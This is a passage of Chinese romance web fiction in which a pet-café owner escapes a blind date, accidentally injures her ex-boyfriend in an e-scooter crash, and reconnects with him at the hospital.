《把前男友弄骨折了怎么办》
1. 逢故人
窗外蝉鸣喧嚣。
滚热的阳光透过落地窗,投在面前的木桌上。
陶织悦有一搭没一搭地搅动桌上的卡布奇诺,勺子不时碰出几声响。
“陶小姐,你觉得怎么样?既然都是出来相亲的,你也说两句。我听说你开了家很大的宠物店,就在市中心。”
直到面前的男人问了一句,陶织悦才缓过神来。
这位刘先生长得面宽体庞,穿着一身白色的新中式大褂,小眼睛笑成了一条缝。
陶织悦礼貌地笑笑,点开手机上张婶的聊天框。两指轻点,调出那张相亲对象“纯天然无添加”的自拍照。
照片放大,一位身姿挺拔、高鼻大眼的帅哥正对着镜头微笑。
“其他暂且不提。这是你的照片?”陶织悦真诚地问。
将手机举起,两幅南辕北辙的画面拼在一起,很有些荒谬的滑稽。
刘先生爽朗一笑,毫不谦虚地挥挥扇子,扇面上的“天生我才”轻浮地摇动。
“略微修饰,难掩风采。”
“陶小姐倒是比我想象中差了些,不过我不介意。毕竟女人嘛,宜家宜室即是上品。”
刘先生上下扫视陶织悦。
她生得白净秀气,一头柔顺的黑发只是简单盘起来,垂下几缕碎发。
即使不施粉黛也气质独特,但从宽松随性的白T加牛仔裤能看出来,她显然对这场相亲没怎么上心。
如果不是看在隔壁张婶的面子上,她根本不会出现在这里。
张婶最近不知道加入了什么红娘组织,热衷于为年轻男女牵线。这几天总是愁眉苦脸,嘴里念叨着什么“业绩”啊、“难办”啊,见到下班回家的陶织悦,眼睛一亮就冲了上来。
“织悦啊,婶子看你平时也是一个人进进出出的,难免有些生活上的难处是不是?”
其实不是。但陶织悦没有马上反驳。
张婶拍拍她的手,语重心长:“你看你一个年轻貌美的小姑娘,一个人多可怜。你就去相个亲,也当帮帮张婶好不好?”
陶织悦无奈摆手表示投降,就这么答应了张婶。
张婶常年一人在家。孩子去外地工作,老伴也去世了。
她这个人闲不住,开始到处找事做。前几个月要去小区楼下摆摊卖蜂蜜小蛋糕,结果小蛋糕不仅做翻车了,还差点炸坏烤箱;过几个星期又去公园里摘野菜熬汤养生,喝完又拉了几天,差点把自己送进医院;
其实陶织悦知道,张婶只是太寂寞了而已。张婶是个热心肠的,帮了邻里不少事情,其中也照拂了陶织悦不少。
这下张婶好不容易找到了稳妥点、看起来不太会危及生命的生活支点,她打算支持一下。
从张婶笑眯眯的脸中转到现实,陶织悦忍住一走了之的冲动,挤出一个笑。
为了张婶,她忍了!
“刘先生,说说你的工作吧。”她把双手搭在一起,维持一点点体面的风度。
听到这话,刘先生收起他的笑脸,有些支吾起来。
“这……这就俗了不是!这样,你点开我的朋友圈,看到那几条宣传没有?”
陶织悦点开朋友圈,大大的几行字跳出来:
算命卜卦,风水招财。
好啊,原来还是个神棍!
“你可别小瞧了这行,我发达的时候可比你挣得多多了!这样吧,我来给你看看手相……”那双胖手伸过来就要抓她,她火速端起杯子抿一口,才躲了过去。
陶织悦的笑裂在脸上,这下她彻底待不下去了。
这位刘先生的声音和窗外聒噪的蝉鸣搅在一起,简直像一首充斥着致死量架子鼓的爆裂摇滚。
她看着自己停在咖啡厅外边的小电动,有点后悔没有抢到一个树荫下的位置。
待会骑上去肯定很烫屁股。
但待在这里,她也跟坐在油锅上没什么区别了,她需要马上找到一个脱身的理由。
陶织悦左顾右盼着寻找救星,眼见着一个身影闯进视野。
一双光亮的尖头皮鞋踩着木质台阶下来。剪裁利落笔直的西装裤包裹着主人骨感的脚裸,延伸向上。
在粉白玫瑰的楼梯装饰花后,就这样显出一个西装革履、身形颀长的俊朗男人。
陶织悦意外又不意外地认识这个男人。
意外的是,他们已经有四五年没见了。
不意外的是,这种大热天,只有她前男友裴究才会穿着西装三件套出门。
裴究似乎也认出了她。
锐利的五官有一瞬间凝滞。此时他把西装外套搭在右臂,微微怔住。目光闪烁着落在陶织悦身上,又移开,又落回她身上。
比起几年前出国离开的那个背影,时间将他的轮廓削得更凌厉了一点。身形挺拔却没有紧绷感,只不过是游刃有余的习惯。
一个俊逸高大的男人适时的出现,变成了趁手的武器。
伟大的领袖有句名言:黑猫白猫,能抓老鼠的就是好猫。只要能让自己离开,借用一下前任又何妨。
陶织悦搭在一起的指间摩挲了几下,随即站起来向裴究走去。
她作出一个轻松开朗的笑:“裴究,你怎么这么早就来了!”
迎着那道夹着点恍然的注视,陶织悦自然地挽住了他的左臂。
没有推开她。陶织悦知道这波稳了。
又转过去对着刘先生故作抱歉:“真不好意思,我也没想到他这么早就来了。我接下来还有其他安排,今天只能先到此为止了。再见。”
身边的裴究发出一声轻不可闻的哼笑,应该是在嘲笑她拙劣的演技。
这不重要。
她右手在他背后扯了一下,这个高大的男人就被她带着往咖啡厅的门口去。
“约会?品味很差。”裴究凑到她耳边低声说。
陶织悦没有管他,只是回头看了一眼。
刘先生显然还不想放走她,但似乎有些忌惮她身边的裴究,没有什么动作。
“往前走。”她只想赶紧离开这个地方。
今天就算是天王老子也不能阻止她离开这里了!
两人的脚步刚落在门口,一声闷雷远远地滚来。
紧接着一阵狂风打来,毫不留情地给了陶织悦几个大嘴巴子。
先是几滴硕大的水珠试探着落下来。随后,大量的雨点前仆后继地砸下来,马上变成了倾盆大雨。
这就是夏天让人猝不及防的阵雨。
陶织悦错愕地看着雨幕,这雨下得也太不是时候了!
身旁的人抓着她的肩往里一带,她往后撤了几步,没被洒进来的雨淋到。
陶织悦向一侧看去。透过玻璃反光,可以看到刘先生正探头探脑地朝这里看。
她绝不可能再回去和那个刘先生打照面!
对了,裴究这一身考究西装,想必是出来见客户或者合作商。
陶织悦不死心地扯住裴究的袖子。
“看你的样子,应该开车出来了吧?”
裴究居高临下地低头看她,干脆利落回答:“没有。”
“……?”
“车子司机开去保修了。”
“那或许你有伞……”
“没有。”
陶织悦咬牙。
今天她就要逆天而行。
措辞了几秒,她还是开口了。
“你不介意坐电动车吧?”
裴究:?
*
陶织悦裹上雨衣,在坐垫下掏了半天,看向一旁衣冠楚楚的男人,又犹豫地看着手上的彩色卡通雨衣。
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裴究眉头皱得更深,往后退了几步,算是无声的拒绝。
陶织悦讪笑。
裴究揣着手,和陶织悦对峙着。
两人这样僵持着,最后是裴究在陶织悦带了几分讨好的目光中败下阵来。
他长腿一跨,在后座正襟危坐。那身严谨贴合身体曲线的马甲不可避免地皱起来,一双无处安放的长腿架在两边,更是惨不忍睹。
陶织悦攥紧指尖,小心把雨衣往他身上套。
有点太短了。可怜的卡通小雨衣相比裴究的身材短了一截,腰部以下的位置完全罩不住。
不对,是他长得太高了才是。
陶织悦只能使劲把衣摆往下拽,好让裴究看上去没有那么落魄。
“你想勒死我?”
裴究淡淡地发问,语气却很认真:
“陶织悦,好像每次和你待在一起都会很狼狈。”
他的声音带着雨雾的潮湿飘到耳畔,有点奇怪的感觉。陶织悦被雨浇得有点头昏,咀嚼不出其中有几分玩笑和几分暧昧。
搭上车把,一转一驶。
她打算先驶出前面的路口,再详细问问裴究的住处。
湿润的凉风柔软地裹住陶织悦的全身,让她舒服地眯起了眼睛。身后沉甸甸,无声地提示着车上另一个人的存在。
她想起来很多年前,好像也这样载过裴究。
当时她笑裴究是个小少爷做派,竟然不会骑电动车。
穿着宽松白衬衫的裴究也不反驳,只是笑得很柔和,然后顺着她的话说:“那你正好带我。”
不同于一般偶像剧的情节,少年坐在她的后座,手小心地搭在她的腰上。风扬起裴究身上柠檬味的沐浴露香气,钻进记忆的角落。
天幕粉紫交织,又被夕阳燎烫出万千霞光,烧起绚彩的光雾,将整个大地笼罩其中。
她带着身后的少年,一路追逐着向地平线撤离的残日,犹如英勇冲锋的骑士。
好像只要开得足够快,身体轻盈得就能飞起来。
那时候她觉得,世界好像触手可得。
没有什么能阻止爱的发生,也没有什么能终止爱。
肯定不会想到,多年后他们已是形同陌路、礼貌平静的陌生人了吧。
*
电动车驶过一个红绿灯,陶织悦减速又提速。
然而身下的坐骑似乎没什么反应。
出什么毛病了?
陶织悦有些迟疑地拧了下把手。恰巧驶过一个水坑,被巨大的力量拽着身体,车子一下飞了出去!
意外总是在瞬间发生。
她还来不及惊呼出声,人已经“啪嗒”坐在了地上。
半个屁股湿漉漉地泡在水洼里,又传来一阵钝痛。陶织悦看着面前已经摔在地上的电动车,艰难地爬起来。
这车今天怎么突然失灵,不是上午才刚被乐言用过吗?
陶织悦回想着电动车的异常,猛然想起后座上还有一个裴究!
赶忙四处寻找,瞧见一个高大身影坐在不远处的地上。昏暗的灯光下,他半张脸隐在黑暗中,看不清神色。
“你没事吧?”黑暗里裴究先问候了她。
陶织悦慢慢走近,心有余悸地打量裴究。他坐在水坑里,有一种诡异的平静。
没……没事,你没事吧?”
裴究露出一个笑,陶织悦感到一只无形的手提溜着她的后脖颈把她提了起来。
这个笑,她很熟悉。
嘴角抿出一个有点刻薄的弧度,配合着眼角微吊勾出几分促狭。
以前她每次闯了祸的时候,他都会露出这种笑。
他的腿轻微挪动一下,又不再动弹。
“我好像有点骨折了。”裴究风轻云淡地抬头。
2. 酒精错
陶织悦没想到,再和裴究坐在一起,是坐在医院。
一个在床上,一个在床边。
世界上有很多种重逢。
不管哪一种,都比她现在要体面。
陶织悦翻阅着手上的检查报告,最底下那栏写着:轻微骨折。
不用手术,但需静养。幸好没有很严重,不然她惭愧得要钻到床底下去了。
繁忙的人声和脚步被关在门外,病房里安静得只能听到两个人的呼吸。
裴究放松地靠在床头,外边被沾湿的马甲和外套已经全部脱掉,只剩下最里面的衬衫。衬衫最上面的几粒扣子被解开,松垮地搭在身上,领口隐隐约约露出一片肌肤。
他不知道从哪里掏出电脑,已经开始敲敲打打。
看着他这幅散漫的样子,应该是不太疼的吧。陶织悦这么观察着,心里好受一点。
双手老实地搭在大腿上,坐得笔直,她深吸两口气。
陶织悦:“对不起。”
裴究把视线转移到她身上。她现在的样子也好不到哪去,头发乱糟糟的,裤子上晕开几处水渍,白T恤也半湿地挂在上身。
像只从木屑堆里刚睡醒的仓鼠,眨巴着一对豆眼可怜地看着他。
“一会有人来照料我,你先回去换身衣服吧。”他没有顺着这个话题继续说。
目光转回面前的电脑,又补充一句。
“别感冒了。”
陶织悦点点头,刚站起身。病房里响起她的手机铃声。
下意识摸摸口袋,里面空空如也。
没等她在房间里找起来,又直又长的指节握住机身,裴究已经把手机递到她面前。
“还是一样迷糊。”他甚至没有转头,只是盯着电脑屏幕上密密麻麻的字。
真是该死的默契。
陶织悦手指一划,接通电话,聂乐言的声音迫不及待地从听筒里冲出来。
“织悦!你是不是把电动车骑走了?我忘了告诉你,我上午带小米去看病的时候不小心摔了一下车,车好像出了点问题……”
话语在安静的病房里回荡几圈,悠悠转进两人的耳朵里。
陶织悦只感觉自己的两颊烧了起来,没敢抬头。然而她还是感受到了来自裴究的注视。
她把头埋得更深,小声嘟囔:“我出去接。”随后逃命一样地溜出病房。
消毒水的味道钻进鼻腔,白炽灯在光洁的地砖上映出反光。快速穿过人来人往的医院走廊,她径直向外走去。
“小米这几天不是总拉肚子吗?上午的时候,我想着趁着咱店里空闲带小米去趟医院,就把小米装到猫箱里放后座上,骑电动车带它过去。”
“回来的时候小米可能有点应激了,刚把小米放上后座,它就在猫箱里撞来撞去,把车也带倒在地上了。”
小米是陶织悦前段时间捡回来的流浪小猫,是一只耳朵尖尖的小狸花猫,只有三个月大。
当时它在马路上跌跌撞撞地跑,幸好是遇到了陶织悦,不然很可能已经变成了一只小猫鬼。想着店里应该也不差这一只小猫,陶织悦就把它带回了和乐言一起经营的猫狗混咖。
“织悦你没事吧?怎么了?”另一头的聂乐言不知所以。
“没事,但只有我没事。”陶织悦欲哭无泪。
陶织悦整理了一下语言,开口就是一句惊雷。
“我骑电动车把裴究的腿撞断了。”
对面沉默了好几秒,似乎是在努力处理这个信息。
末了,才幽幽飘来一声充满疑问的“啊?”
“他回国了?都好几年没有消息了,你们怎么又突然碰面了?你情杀他?难道还有什么我不知道的隐情……”聂乐言小心开口,似乎是在一边回忆往事。
陶织悦扶额:“没有隐情,今天全是误打误撞。”
她垮下脸,吐苦水地倒着今天发生的一切倒霉事。
天色已晚,地上的水洼被霓虹灯染上了光彩,像是这座城市颠倒过来的平行世界的入口。
下过阵雨的空气透着凉意,陶织悦盯着积水发了会呆。直到夜风带起水汽拍到身上,才后知后觉感到身上的湿寒。
她打了个喷嚏,慢慢想起自己出门的目的。
家住的小区离这里有段距离,店反而离这里近一些。
“对了,言言……”她一面回忆着前几天逛街买的东西的下落,一面向聂乐言确认。
“前几天我是不是把一条新的白裙放店里了……啊啾!”
话还没说完,鼻子一酸又打了个喷嚏。
“是啊……哦对,你淋了雨赶紧回来换个衣服吧。我顺便烧点热水,你一会能喝。”
聂乐言的声音变得含糊,应该是起身去找烧水壶了。但似乎有什么东西阻碍了她的动作,手机里传出几声不太平稳的响动。
她仔细听着,像是聂乐言在和什么小东西谈判。
忽而没了动静,陶织悦将手机凑到耳边问了一句:“言言?”
几声清晰、稚嫩的猫叫应答了她的呼唤。
陶织悦惊喜地抱住手机:“小米~”
得到回应的小猫叫得更欢,对着陶织悦撒娇。
聂乐言含着笑的声音加入进来:“小米很想你,一听到你的声音就挤过来不让我走了。”
她应该是撸了撸小米的脑袋,小米发出了满足的呼噜声。一想到还有个小芝麻毛团在等着自己,陶织悦立马跟打了兴奋剂一样,加快脚步向前赶。
她们的猫狗咖开在靠近市中心较为繁华的地段,算是本市规模数一数二大的宠物店了。平日里除了撸猫撸狗项目,还提供一些宠物清洗、宠物美容、宠物寄放的服务。
转过街角,一栋莫兰迪色系装修的小房子映入眼帘,招牌上写着“亚罗卡宠物”。
落地窗里,一堆毛茸茸正活泼地跑来跑去。
陶织悦刚推开玻璃门进来,一只黄澄澄的小柴犬就扑了上来,结结实实地撞进她怀里。
陶织悦被冲得跌了几步,只能弯下腰和它打招呼:“豆豆、豆豆,你也很想我吗?”
豆豆疯狂摇着尾巴,开心地咧嘴吐出一条粉红湿润的舌头。陶织悦象征性地在他脑门上挠几下,就打算起身离开。
不过小狗并不满意,登着两条小腿吧嗒一下挡在她前面。
好吧,陶织悦伸出魔爪,发泄似地揉它的脑袋。她把面前的狗头当作面团一样揉捏搓扁,进行长达五分钟的蹂躏,最后收尾的时候拍拍它的头示意:“去吧!”
柴犬发出几声满足的叫唤,美滋滋地昂起头,大步朝前去玩了。
角落里传来一声笑,店员小郑靠在墙上看着这一切。
陶织悦无奈地耸耸肩,问:“乐言在楼上吗?”
小郑:“乐言姐在楼上呢。”
她们的宠物店有三层,一层是狗咖,二层是猫咖,三层是做清洗、护理业务的。
陶织悦爬上二楼,正看见穿着咖色吊带裤,带着宽发箍的聂乐言坐在中间,膝上还团着一只小猫。小小的狸花猫正酣睡着,柔软的肚皮随呼吸一鼓一鼓。
见到她上来,聂乐言把手指竖在嘴边,一面指指放在她旁边叠好的裙子。
陶织悦心领神会,拿起裙子朝卫生间走去。
她换完衣服出来,一开门就迎上一杯热水。水杯向旁边一移,露出聂乐言那张笑吟吟的脸。
两人朝三楼走去,坐在大厅中央的吧台。
从吧台的落地窗望出去,可以俯瞰这一小片区域的全貌。这时候天已经彻底黑了,灯带和灯点共同勾勒出这座城市的轮廓。
陶织悦盯着不远处的医院看,渐渐出神。
“怎么样?”
“嗯?”陶织悦被聂乐言突然的发问打断思路,一时没有反应过来。
脸上被人一揪,她彻底清醒过来。
“我问你呢,见到旧情人什么感觉?”
陶织悦瘪瘪嘴,推开那只在脸上作乱的手,萎靡地贴在落地窗上。
“别提了,哪有人一见面把旧情人送进医院的……”
聂乐言拍拍她的脑袋安慰道:“我听你说着情况也没那么严重嘛,裴究好像也没有要为难你的意思。”
“说起来,倒是好久没听到他的消息了。当初他没跟我们一起毕业,没想到有朝一日还能再听见他的名字。”聂乐言也转头看向医院的方向。
陶织悦没有否认。
当年两人拉拉扯扯、一拍两散,裴究转身就去了国外做交换生,从此再也没有音信。
他最后的消息,是在陶织悦毕业那天手机上匿名发来的“毕业快乐”。
虽然无从考证,但陶织悦知道是他的手笔。
她几乎都快要忘记他了。
陶织悦望着落地窗上自己的倒影。
更瘦了一些,眉眼间好像有了几分疲态。在这张熟悉的脸上,似乎多了些自己都没有察觉的陌生。
原来真的已经过了好几年了。她试图寻找着时间的痕迹,来让这些年的流逝有些实感,也让今日突如其来的重逢多些真实。
“啪”的一声,灯突然灭了。突然的黑暗将她包围,连带
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着玻璃窗上的倒影也像泡沫一样消失不见。
聂乐言不知道什么时候离开她身边,拎着两罐便利店买来的酒站在开关旁。她轻轻坐回陶织悦身边,手指一勾拉开易拉罐环。
随着一声清脆的的金属短响,酒精味掺着果味蔓延开来,瞬间充斥整个空间。
陶织悦是个沾酒就醉的,不解地看着聂乐言。
聂乐言把打开的那罐推到她面前,大眼睛忽闪忽闪的。
“当年的事你那时候不肯说,那现在来玩醉酒真心话吧,就当是为自己找一个口无遮拦的理由。要是现在还是不想说呢,就当是今天兴致上头、小酌一下。”
两瓶易拉罐碰在一起,借着外边的街灯折射出一点子亮。
陶织悦仰头灌了几口,果酒刺激的气味一下直冲天灵盖,呛得她咳了起来。不到几分钟,她的面颊便迅速漫上粉红,眼神也有些迷离起来。
身体变得轻盈,好像要飞起来了。
聂乐言凑过来,试探道:“那你现在对他……”
还没来得及上头,洗浴房里就传来一声尖叫。
一只湿塌了半边毛的金毛冲出来,转了几圈就往楼下冲去。负责给毛孩子洗澡的小谭围着围裙探出身子,惊呼:“回来!”
陶织悦一把抓起身旁的呼叫机:“小郑,马上关门。”
*
黎扬清第一次踏进亚罗卡,见到的就是这样猫飞狗跳的场景。
亚罗卡的浅蓝色招牌泛出柔和温馨的光,他牵着自家萨摩耶往店门口去。过两天要去外地给夏令营的孩子兼职拍照,黎扬清安排椰子到亚罗卡寄养。
他刚踏进玻璃门,手还扶在门把手上,一个店员匆匆忙忙朝他跑来。
“咔哒”,把玻璃门锁上了。
黎扬清愣住。
亚罗卡太久没来客人了,怕他跑了?
紧接着楼上传来一阵骚动,似乎有什么东西来势汹汹。
三秒后,一条金毛犬以惊人的速度冲下楼,径直朝他扑过来!
他毫无准备,下意识张开手臂,那只金毛犬便稳当地落在怀里。椰子常常这样朝自己讨抱,差不多体型的情况下,黎扬清没有思考就做出了动作。
接着又有三个人从楼上追下来。
黎扬清一眼就看到了那个女孩。
她面色泛红,眼睛明亮而水汪,脚步有些凌乱,却跑得很快。像一只白蝴蝶一样,翩然地闯进他的视野。
见到他怀里的金毛犬,她笑眯眯朝自己走来,眼睛弯成了月牙。
“大毛!又是你!是不是又想溜出去玩?被我抓住了吧。”
白裙女孩一面说着,一面伸手来接狗。
靠得近了,黎扬清才闻到对方身上淡淡的酒气。
她能抱得动吗?
黎扬清察觉对方不太清醒,往后退了一步。
女孩略微疑惑,随即反应过来,绽开一个笑:“我力气可大了!”
像是为了证明自己,她一把将那只叫“大毛”的金毛犬抱过来,竟然很轻松。
一个看起来纤细白净的女孩,身上却挂着一只体型不小的金毛犬。这画面有着莫名的反差,却又很和谐。
女孩笑嘻嘻地逗狗,目光转到他身上,笑容突然凝住。
酒精上头有些迷糊,她眯着眼仔细地瞧他。
“你……你有点像……裴……”说着脚步往后一撤,眼见着就要摔一跤。
他伸手去抓,没抓住。
她被旁边的吊带裤女孩接住。
“不好意思啊,她有点醉了,希望没冒犯到您。”吊带裤女孩赔笑,指挥旁边的店员把女孩扶上楼。
“白裙子”的视线还定在他身上,为自己的离开露出一个谢幕般的笑。
肆意、灵动的笑。
黎扬清望着她消失的楼梯角,问了女孩的名字。
*
陶织悦已经睡过去。聂乐言拍着她的后背,思绪却飞远。她的目光越过面前的虚空,落到远处的医院。
裴究真的回来了,就像他当年承诺的一样。
他走得匆忙,出国前让自己替他照顾好陶织悦,并希望她能向陶织悦转告他的心意。
但后者,聂乐言没有。
这世界如此繁华,纸迷金醉之中真心易变。
一个有钱家庭的男人的空口承诺,她怎么能让这个虚无缥缈的心意,绊住好友未来的青春年华?
可惜她还没来得及打探清楚好友的想法。
聂乐言思考着,是否要将当年的事情向陶织悦托盘而出。
3. 医院相处
金色的梧桐叶从枝头落下,飘飘转转落到地上的水洼上,激起一层涟漪。
陶织悦盯着那片浮在水面上的落叶,用鞋底拨了一下。
梧桐叶向旁边游荡,又不服气地漂回来。
她失去兴趣,继续欣赏自己崭新的小皮鞋。圆头、漆皮。弧度饱满而圆润,配上白袜显得可爱极了。
她心心念念很久了。从想要到穿到脚上,她花了好几个星期。
郁阳实在是太忙了。自从丈夫去世之后,她既要照料陶织悦,还要在医院奔波。她每天有太多的事要顾及,以至于陶织悦的小愿望都显得那么微不足道。
没关系的,陶织悦觉得晚一点拿到也很好了。
现在她急切地想要见到另一个人。
直到太阳消失在对面的大楼后,那个人才匆匆出现。
裴究从学校小门里钻出来,头发因为风尘仆仆而有些凌乱,清逸的面上带着疲倦。
陶织悦见到他,马上朝他胸口来了一拳。
“你怎么才来,卖栗子的阿姨肯定已经走了。”陶织悦发出嗔怪般的质问。
其实他们都心知肚明,裴家那群保镖很难甩开。
陶织悦替他拍拍身上的灰,目光落到他脚上那双光亮的鞋子上。
很明显是双昂贵的鞋,走线工整,鞋型流畅。
陶织悦发觉自己的小皮鞋一下失去光泽,像只站在白天鹅旁边灰扑扑的丑小鸭。她一下哑火,那股兴奋也全然消失。
裴究很诚恳:“你真的很想吃烤栗子吗?”
当然了,那可是她盼了好久的秋日限定食物!现在阿姨肯定已经回家了,哪里还有烤栗子呢?
裴究拉开外套拉链,从怀里掏出一包纸袋。两手一拉,满满的栗子从袋子里滚出来几颗,甜香味瞬间飘出来。
陶织悦又惊又喜:“你什么时候买的?”
裴究眉毛挑起,将栗子举得高高的。
他生得剑眉星目又棱角分明,大多数时候面无表情,透着拒人于千里之外的冷漠。可一旦眉目染上些春风得意,就立马变得生动而倜傥起来。
“某个人为了抽空买栗子累坏了,确定不抱抱他?”
话音未落,陶织悦一下扑上去。
她感到怀里的躯体僵了一下,胸口处咚咚鼓动。那鼓动越来越重,越来越重,分不清是他的心跳还是自己的心跳,她甚至怀疑是两个人的心跳在共振。
直到一记有点重的踩踏,她睁开眼。
小米正在她胸口处踩奶。
原来是梦。
陶织悦眨眨干涩的眼睛,恍惚地坐起来。
这里是……亚罗卡的二楼?
她拍上脑袋,回忆昨晚发生的事,却只有支离破碎的片段。
追大毛的时候,酒劲随身体运动上来了。她好像在门口看见一个高高的身影,穿着色调清新的条纹衫,那轮廓有点像几年前的裴究。
难怪做了个关于从前的梦。这些在记忆角落里的碎片,她以为自己已经彻底遗忘了。
她抱起小米下楼。
大毛正蹦蹦跳跳上楼,见到她,咧着的嘴一下收回去。眼珠子提溜几下,转身又跑下楼了。
陶织悦没来得及奇怪,聂乐言已经看见了她。
“醒了。”
陶织悦点点头,有些茫然地看向店门前那片阳光。
“现在是早上十点。”
聂乐言笑笑,看向躲在角落的大毛:“你还记得昨晚干了什么吗?”
回答是否定的。
聂乐言:“你昨晚拉着大毛做了整整三个小时的交通安全教育。”
陶织悦:……
这么一说她倒是有点印象了。
她当时抓住大毛一只爪子,一本正经地告诉它:“红灯停,绿灯行。过马路的时候记得先看左右,不要在马路上乱跑,最好过斑马线,那样被撞了赔得多……”
大毛低头瞟两眼小郑,发出几声求情的嘤咛。
小郑转过头去,当作没看见。
发现大毛不专心,她还特地抓起它的另一只爪子,将整只狗扣在面前。
继续滔滔不绝的酒后演讲。
直到大毛开始困得头点地,东倒西歪,最后倒在地上昏睡过去,这场闹剧才结束。
聂乐言忍住笑,走过来顺顺她翘起来的发尾。
“回家洗漱一下吧。”
陶织悦点点头,把小米放进聂乐言怀里。
一回到家,张婶就来敲了门。
她急急忙忙地进来,告诉陶织悦那个所谓的婚介组织是骗人的,叫她赶紧把相亲认识的人删掉。
这事放在张婶身上,好像也没有很意外……
“妹儿啊,你没被些不三不四的人欺负吧。”张婶面上满是愧疚。
陶织悦一边安抚张婶,一边当着张婶的面把那个昨晚还给她发骚扰消息的刘先生删了。
等她整理好一切,忙完些乱七八糟的事,已经下午了。
裴究还在医院。
自己把他撞进医院,结果第二天就消失不见了,未免也太没良心了。
喝酒误事啊。陶织悦有些后悔地揉揉太阳穴。
事已至此,炖点东西带过去吧。
两个小时后,陶织悦带着一壶老母鸡汤出现在了医院。
事实证明,陶织悦多虑了。什么可怜兮兮、孤独寂寞的情境都不存在,裴究绝不会委屈自己。
病房已经完全换了一副模样。
床头柜铺上了米白色的桌布,摆着插着小雏菊的白瓷花瓶。一旁的香薰蜡烛荡出阵阵冷香,烛台还是透明的水晶材质。各色水果盛在果盘里,泛着新鲜的水珠。
甚至窗帘都换成了丝绸拼蕾丝的,流动着珠光。
虽然已经熟知裴究的作风,陶织悦还是不免有点震撼。
有钱人就是任性。
“原来你还记得我,我以为你把我抛弃在医院了。”裴究扣上电脑,挑挑眉。
这个戏谑的神情让陶织悦有点熟悉,站在这个焕然一新的病房里,久违地有些手脚无措。
连她自己也没有意识到,她把手里的不锈钢铁壶往身后藏了藏。
这个动作没有逃过裴究的眼睛,他视线一下子锁定在她身后。
“给我带的?”他表现出几分兴致,嘴角若有似无地扬起一点。
陶织悦只好把手里那个朴实无华的不锈钢铁壶放下。粗糙、拙劣的铁壶,在这堆精致的陈设中显得格格不入。
裴究见她有些拘谨,手指搭在桌柜上轻敲几下,又开口:“不给我尝尝吗?”
陶织悦从善如流:“好的,裴总。”
裴究微不可察地皱皱眉,接过陶织悦倒出来的一碗鸡汤,也客气地来了一句:“谢谢。”
一字一顿,还带着重音。
一阵无人说话的安静后,裴究朝着陶织悦伸出一只手。
“帮我解下手表,谢谢。”
他一手端着碗,白瓷碗在那双骨节分明的大手上显得很小一只;一手袖子耷拉着,腕间挂着一只机械表。
深红的表盘暗暗流溢着光泽,一大串又小又精密的齿轮推着金色的指针流畅地转动,显示出低调的奢华感。
陶织悦不太关注手表,但也能察觉到这只应该不便宜,因此带上了十足的审慎。
指尖谨慎地贴上他的腕骨,轻轻勾起表带,又小心地搭上细密的表扣。然而陶织悦没有戴手表的习惯,因此解得有些困难。
她放慢呼吸,整个人都贴上来。
裴究的脉搏一跳一跳,皮肤上的温热也染上她的指尖。
也不知道是她出了汗
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还是裴究出了汗,表带有些滑,总是在接近扣口时溜回原位。
费了半天劲,表扣终于解开。
陶织悦刚想开口,脑袋一抬就撞上了坚硬的东西,发出一声响。一阵钝痛蔓延脑门,陶织悦痛呼一声,捂着脑袋向旁边退。
裴究发出一声闷哼,捂着下巴往后倒。
两个人各捂各的,各自缩在角落里缓冲,空气里僵持的氛围瞬间荡然无存。
谁知道裴究突然靠那么近?
陶织悦揉揉后脑勺,有点担心裴究又添一处骨折,那她真是彻底完了。
她三步并两步上前,凑近裴究,轻轻捏住他的下颚,紧张地左右查看。
“疼吗?”她捏了捏男人的下颌,观察他的表情。
裴究的脑袋随她摆弄,只是目光灼灼地盯着她的脸不说话。他视线下移,扫过她的眼、唇、脖颈,最后落到陶织悦捏着他下颚的手腕上。
不会吧?难道下巴脱臼不能讲话了??老天爷啊!!
陶织悦起身去找医生。胳膊上一紧,被裴究拽住了。
他慢条斯理地放开:“没事。”
没事不早说?!差点把她吓死!
她在那几秒间已经开始思考如何砸锅卖铁、倾家荡产为裴究治病。
陶织悦瞪他一眼。
裴究不在意,倒是一副很受用的样子。
他享受她这幅张牙舞爪又一惊一乍的样子,很有趣——总之比“好的,裴总。”好多了。
这样折腾下来,两人间的客套和疏离被撕得一干二净。
陶织悦还要说点什么,病房的门突然被敲响了。
裴究微微坐直:“进。”
一位身着职业装的的青年走进房间,手里捧着诸多蓝色文件夹。
他显然没有料到房间里还有第二个人,脚步微微顿住,目光在陶织悦身上晃了一下又转回裴究身上。
“裴总,这是您要的文件。”他把文件夹放下,又忍不住看了陶织悦几眼。
陶织悦感觉到几分不对劲,这男人似乎认识她。
可她对这位职业装青年毫无印象。
如果他们曾经见过,她起码会感到一点熟悉。但是没有。
护士也在这个时候造访病房。
她敲几下门示意:“病人家属在吗?来办下相关手续。”
陶织悦环顾一圈,很有眼力见地走过去。
她刚跟着护士走出病房没多远,那位青年便跟了上来。
他露出一个温和有礼的笑:“陶小姐,我是裴总的助理姚修。裴总让我帮您一起。”
护士站离病房不远,没几步就到了。在工作日晚上,医院人并不太多,事情很快就办完了。
趁着回病房的空档,陶织悦先开口破冰。
“我姓陶,是裴总刚刚告诉你的?”陶织悦作出唠家常的语气,礼貌地微笑。
姚修点了点头。
“是吗?”陶织悦转过头去,“可是姚先生好像不止在今天认识我?”
姚修侧头,反问道:“陶小姐认识我吗?”
陶织悦真诚地摇摇头。
两人默契地在病房不远处停下来。
姚修垂眸,大概是在思索要说什么,不说什么。
“你放心,我不会告诉裴究的。”陶织悦对着他眨眨眼,手指顺着唇线一划,作出拉上拉链的动作。
姚修笑了:“那么,陶小姐和裴总现在是什么关系?”
言下之意就是,她陶织悦和裴究看起来才更像是一伙的。
陶织悦大言不惭:“大概是肇事者和受害人的关系。”
一个有点意外的玩笑,姚修愣了一下又忍俊不禁。
然而姚修开口也让陶织悦有些愕然。
姚修:“或许,我可以叫你一声陶学姐。”
4. 无名茧
对于这个称呼,陶织悦确实很意外。
“学姐?”陶织悦注视着姚修,像是要用目光把他盯出一个洞,“你比我和裴究小几届?”
“一届。”
话匣子打开后,姚修的防备心也渐渐放下。
“准确来说,今天确实是我们第一次见面。我毕业前和裴学长有私交,从他口中得到过一些关于学姐的只言片语,不过没有机会与学姐见面。”
“再后来,裴学长在大三的时候走了交换生项目,便再也没有联系了。一年后我也参与了学校的交换生项目,碰巧在国外遇到了裴学长。”
“那时候裴学长很落魄,一天要打三份工才能维持生活。我提出要帮他,都被他拒绝了。唯一的一次是帮他发条短信到一个号码上,我猜……”
姚修意味不明地看着陶织悦,观察她的反应。
“后来我看了看日子,那天正好是学校大四毕业的日子。”
是了,她就知道那条消息是裴究发的。
